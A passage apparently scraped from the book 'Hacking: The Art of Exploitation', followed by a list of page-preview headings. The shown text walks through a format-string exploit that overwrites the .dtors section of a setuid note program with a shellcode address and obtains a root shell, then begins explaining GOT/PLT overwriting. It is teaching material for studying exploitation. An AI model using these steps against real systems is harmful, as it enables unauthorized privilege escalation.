hacking-the-art-of-exploitation

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[DEBUG] found a 34 byte note for user id 999 [DEBUG] found a 41 byte note for user id 999 [DEBUG] found a 5 byte note for user id 999 [DEBUG] found a 35 byte note for user id 999 [DEBUG] found a 9 byte note for user id 999 BBBB42424242 -------[ end of note data ]------- reader@hacking:~/booksrc $ Now that the relative layout of memory is known, exploitation is just a matter of overwriting the .dtors section with the address of injected shellcode. reader@hacking:~/booksrc $ export SHELLCODE=$(cat shellcode.bin) reader@hacking:~/booksrc $ ./getenvaddr SHELLCODE ./notesearch SHELLCODE will be at 0xbffff9e8 reader@hacking:~/booksrc $ gdb -q (gdb) p 0xbfff - 8 $1 = 49143 (gdb) p 0xf9e8 - 0xbfff $2 = 14825 (gdb) quit reader@hacking:~/booksrc $ nm ./notesearch | grep DTOR 08049c60 d __DTOR_END__ 08049c5c d __DTOR_LIST__ reader@hacking:~/booksrc $ ./notetaker $(printf "\x62\x9c\x04\x08\x60\x9c\x04\ x08")%49143x%8\$hn%14825x%9\$hn [DEBUG] buffer @ 0x804a008: 'b?`?%49143x%8$hn%14825x%9$hn' [DEBUG] datafile @ 0x804a070: '/var/notes' [DEBUG] file descriptor is 3 Note has been saved. reader@hacking:~/booksrc $ ./notesearch 49143x [DEBUG] found a 34 byte note for user id 999 [DEBUG] found a 41 byte note for user id 999 [DEBUG] found a 5 byte note for user id 999 [DEBUG] found a 35 byte note for user id 999 [DEBUG] found a 9 byte note for user id 999 [DEBUG] found a 33 byte note for user id 999 -------[ end of note data ]------- sh-3.2# whoami root sh-3.2# 21 0x359 Overwriting the Global Offset Table Since a program could use a function in a shared library many times, it’s useful to have a table to reference all the functions. Another special section in compiled programs is used for this purpose—the procedure linkage table (PLT). 190 0x300
This section consists of many jump instructions, each one corresponding to the address of a function. It works like a springboard—each time a shared function needs to be called, control will pass through the PLT. An object dump disassembling the PLT section in the vulnerable format string program (fmt_vuln.c) shows these jump instructions: reader@hacking:~/booksrc $ objdump -d -j .plt ./fmt_vuln ./fmt_vuln: file format elf32-i386 Disassembly of section .plt: 080482b8 : 80482b8: ff 35 6c 97 04 08 pushl 0x804976c 80482be: ff 25 70 97 04 08 jmp *0x8049770 80482c4: 00 00 add %al,(%eax) ... 080482c8 : 80482c8: ff 25 74 97 04 08 jmp *0x8049774 80482ce: 68 00 00 00 00 push $0x0 80482d3: e9 e0 ff ff ff jmp 80482b8 080482d8 : 80482d8: ff 25 78 97 04 08 jmp *0x8049778 80482de: 68 08 00 00 00 push $0x8 80482e3: e9 d0 ff ff ff jmp 80482b8 080482e8 : 80482e8: ff 25 7c 97 04 08 jmp *0x804977c 80482ee: 68 10 00 00 00 push $0x10 80482f3: e9 c0 ff ff ff jmp 80482b8 080482f8 : 80482f8: ff 25 80 97 04 08 jmp *0x8049780 80482fe: 68 18 00 00 00 push $0x18 8048303: e9 b0 ff ff ff jmp 80482b8 08048308 : 8048308: ff 25 84 97 04 08 jmp *0x8049784 804830e: 68 20 00 00 00 push $0x20 8048313: e9 a0 ff ff ff jmp 80482b8 reader@hacking:~/booksrc $ One of these jump instructions is associated with the exit() function, which is called at the end of the program. If the jump instruction used for the exit() function can be manipulated to direct the execution flow into shellcode instead of the exit() function, a root shell will be spawned. Below, the procedure linking table is shown to be read only. Exploitation 191
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CD INside 2nd Edition Hacking the a
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® San Francisco
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BRIEF CONTENTS Preface ............
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0x300 EXPLOITATION 115 0x310 Genera
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0x6a0 Hardening Countermeasures....
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ACKNOWLEDGMENTS I would like to tha
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2 0x100 The rules for this problem
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4 0x100 overly simplistic encryptio
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can be written to accomplish any gi
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0x230 Control Structures Without co
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lest it continue into infinity. A w
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called constants. Returning to the
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Quite often in programs, variables
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0x244 Functions Sometimes there wil
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void turn(variable_direction, targe
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library, a function prototype is ne
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Like a row of houses on a local str
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Below, GDB is used to show the stat
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There are also operations that are
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The display format also uses a sing
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The first four bytes are shown both
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(gdb) x/10i $eip 0x804838b : cmp DW
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022 18 12 DC2 122 82 52 R 023 19 13
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familiar address of EBP minus 4 int
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the English language, knowledge of
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Function "strcpy" not defined. Make
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only be in one of 2 32 possible bit
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pointer.c #include #include int m
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addressof.c #include int main() {
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0x264 Format Strings The printf() f
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The final line just shows the addre
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As discussed earlier, dividing the
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} } printf("[char pointer] points t
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Naturally, it is far easier just to
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This is rather hacky, but since thi
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eader@hacking:~/booksrc $ ./a.out '
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0x267 Variable Scoping Another inte
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[in func1] i = 5, j = 42 [in func2]
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10 (gdb) break 7 Breakpoint 1 at 0x
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Notice that the static_var retains
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70 0x200 The heap segment is a segm
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End of assembler dump (gdb) disass
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0x804836f : mov DWORD PTR [esp+8],0
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int global_initialized_var = 5; voi
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int main(int argc, char *argv[]) {
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errorchecked_heap.c #include #incl
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The bar code on the back of this bo
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eader@hacking:~/booksrc $ ./simplen
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} printf("\n"); display_flags("O_WR
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eader@hacking:~/booksrc $ chmod 731
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uid_demo.c #include int main() { p
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} void fatal(char *); // A function
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#define FILENAME "/var/notes" int p
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[DEBUG] found a 34 byte note for us
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of current_time, an empty tm struct
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While struct memory can be accessed
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815015288 1315541117 2080969327 450
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printf("6 - Reset your account at 1
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int fd; } printf("\n===============
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} } // This function is the Pick a
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invalid_choice = 1; while(invalid_c
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Would you like to play again? (y/n)
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114 0x200 Play around with this pro
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A program can only do what it’s p
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don’t say exactly what their crea
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By now, you should be able to read
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eader@hacking:~/booksrc $ gcc explo
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11 if(strcmp(password_buffer, "bril
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auth_overflow2.c #include #include
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As expected, the overflow cannot di
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(gdb) c Continuing. Breakpoint 2, c
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Notice the two lines shown in bold
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eader@hacking:~/booksrc $ perl -e '
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0x0804848d : mov eax,DWORD PTR [eax
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20 offset = atoi(argv[1]); (gdb) 21
Page 154 and 155: called the NOP sled, that can assis
Page 156 and 157: The function of the for loop should
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Page 160 and 161: eader@hacking:~/booksrc $ ./notesea
Page 162 and 163: int main(int argc, char *argv[]) {
Page 164 and 165: char *buffer = (char *) malloc(160)
Page 166 and 167: 7e99000-b7e9a000 rw-p b7e99000 00:0
Page 168 and 169: for that user. Using the salt value
Page 170 and 171: 0x342 Overflowing Function Pointers
Page 172 and 173: 7 - Quit [Name: Jon Erickson] [You
Page 174 and 175: 0804b630 A _edata 0804b6d4 A _end 0
Page 176 and 177: n 5 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Page 178 and 179: 6 - Reset your account at 100 credi
Page 180 and 181: [Name: Jon Erickson] [You have 1230
Page 182 and 183: Parameter Input Type Output Type %d
Page 184 and 185: This is an interesting detail that
Page 186 and 187: 0x353 Reading from Arbitrary Memory
Page 188 and 189: The wrong way to print user-control
Page 190 and 191: The addresses and junk data at the
Page 192 and 193: eader@hacking:~/booksrc $ reader@ha
Page 194 and 195: 0x355 Direct Parameter Access Direc
Page 196 and 197: Since the stack doesn’t need to b
Page 198 and 199: 0x357 Detours with .dtors In binary
Page 200 and 201: located. Then the actual bytes are
Page 202 and 203: Since the .dtors section is writabl
Page 206 and 207: eader@hacking:~/booksrc $ objdump -
Page 209 and 210: 0x400 NETWORKING Communication and
Page 211 and 212: For example, whenever you browse th
Page 213 and 214: Datagram sockets and UDP are common
Page 215 and 216: From /usr/include/bits/socket.h /*
Page 217 and 218: htons(short value) Host-to-Network
Page 219 and 220: fatal("in socket"); if (setsockopt(
Page 221 and 222: When compiled and run, the program
Page 223 and 224: This reveals that the webserver is
Page 225 and 226: From /usr/include/netdb.h /* Descri
Page 227 and 228: } while(recv_line(sockfd, buffer))
Page 229 and 230: } /* This function handles the conn
Page 231 and 232: Accepting web requests on port 80 G
Page 233 and 234: the two addressing schemes. In the
Page 235 and 236: also exist on this layer. ICMP pack
Page 237 and 238: 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3
Page 239 and 240: Interrupt:16 Base address:0x2024 re
Page 241 and 242: u_char buffer[9000]; if ((sockfd =
Page 243 and 244: pcap_handle = pcap_open_live(device
Page 245 and 246: eader@hacking:~/booksrc $ $ grep -R
Page 247 and 248: The compiler padding, as mentioned
Page 249 and 250: Now that the headers are defined as
Page 251 and 252: The caught_packet() function gets c
Page 253 and 254: With the headers decoded and separa
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Due to timeout values, the victim m
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eader@hacking:~/booksrc $ sudo neme
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data structures for the packet head
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if (pd->file_mem == NULL) pd->file_
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only builds ethernet/IP ARP packets
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The remaining libnet functions get
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dest_ip = libnet_name_resolve(argv[
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In the example above, the host 192.
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0x454 Ping Flooding Flooding DoS at
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The host machine will receive the s
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char errbuf[PCAP_ERRBUF_SIZE]; // S
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TH_RST, // Control flags (RST flag
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Christmas tree), and the Null scan
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0x475 Proactive Defense (shroud) Po
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char errbuf[PCAP_ERRBUF_SIZE]; // S
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NULL, // Payload (none) 0, // Paylo
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} while(recv(sockfd, ptr, 1, 0) ==
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$1 = 540 (gdb) p /x 0xbffff5c0 + 20
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" 90 90 90 90 90 90 90 90 90 90 90
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When this exploit is compiled and r
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0x500 SHELLCODE So far, the shellco
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mmap2(0xb7ee4000, 9596, PROT_READ|P
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#define __NR_stime 25 #define __NR_
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In shellcode, the bytes for the str
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eader@hacking:~/booksrc $ export SH
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which means that a small value like
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Instruction inc dec Description I
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After assembling this shellcode, he
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exec_shell.s BITS 32 jmp short two
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eader@hacking:~/booksrc $ nasm tiny
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int setresuid(uid_t ruid, uid_t eui
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push BYTE 11 pop eax push ecx push
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So, to make socket system calls usi
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push BYTE 16 ; argv: { sizeof(serve
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00000030 80 b0 66 43 52 52 56 89 e1
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This loop iterates ECX from 0 to 2,
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push edx ; Build sockaddr struct: I
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pop eax inc ebx ; ebx = 2 (needed f
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the return address uses multiple by
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0x600 COUNTERMEASURES The golden po
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0x620 System Daemons To have a real
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} printf("Caught signal %d\t", sign
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tinywebd.c #include #include #inc
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if(fd == -1) { // If file is not fo
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In previous chapters, we’ve writt
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63 if (listen(sockfd, 20) == -1) 64
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message. Shell variables are used f
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There’s a simple mistake in the t
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any program to show every system ca
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0x080487ee : mov DWORD PTR [esp+8],
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0x08048f5f : call 0x08048f64 : nop
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push BYTE 0x6 ; Close () pop eax in
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A quick glance at the function prol
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push edx ; Build arg array: { proto
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This program can be used to inject
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Then, from another terminal, the ne
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strace is used with the -p command-
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ig red flag. We could change the po
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of new_sockfd will still be correct
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00000020 b0 3f cd 80 49 79 f9 b0 0b
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push ebx mov ecx, esp int 0x80 ; pu
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Instruction Hex ASCII inc eax 0x40
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eader@hacking:~/booksrc $ gcc -o up
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Amazingly, these instructions, comb
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ESP up (toward lower memory address
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eader@hacking:~/booksrc $ gcc -o pr
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At the end, the shellcode has been
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esp 0xbffffa2c 0xbffffa2c eax 0x0 0
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functions are shared, so any progra
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A quick binary search shows that th
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eginning of the buffer. When a prog
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The breakpoint is set at the last i
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Bouncing off linux-gate refers to a
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matrix@loki /hacking $ for i in `se
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manual page for execve() for detail
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for(i=0; i < 90; i+=4) // Fill buff
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encryption, credit card transaction
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through the incorrect filter, its p
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This means that, in general, the gr
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Without some way to manipulate the
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With a little bit of basic algebra,
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Since this is all done modulo N, th
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0x750 Hybrid Ciphers A hybrid crypt
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[:] - Static route to port on host
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communication channel with the atta
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e asked to add the new fingerprint.
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to be a bit hazy. The goal behind t
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---[Current State]-----------------
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0x760 Password Cracking Passwords a
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crypt_crack.c #define _XOPEN_SOURCE
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Custom dictionary files are often m
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possible hashes for a single plaint
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Of course, there are downsides. Fir
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charval = (k-32)*95 + (l-32); // La
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} /* Print the plaintext pairs that
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printf("Building probability vector
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Of course, if WEP is turned on, onl
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Now when keystream data is needed,
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After an IV collision is discovered
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is really quite amazing. It takes a
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Seed = IV concatenated with the key
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int key[13] = {1, 2, 3, 4, 5, 66, 7
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and the key is hard-coded into the
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9 0 | 41 1 | 73 0 | 105 0 | 137 1 |
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0x800 CONCLUSION Hacking tends to b
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CNET News. “40-Bit Crypto Proves
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INDEX Symbols & Numbers & (ampersan
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uffer overrun, 119 buffers, 38 prog
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dtors_sample.c program, 184 dump()
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declaring as void, 17 for error che
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Internet Protocol (IP), 220 address
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nemesis_arp() function, 245 nemesis
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pointer_types4.c program, 56 pointe
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session layer (OSI), 196 for web br
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text segment, of memory, 69 then ke
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More No-Nonsense Books from NO STAR
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UPDATES Visit http://www.nostarch.c
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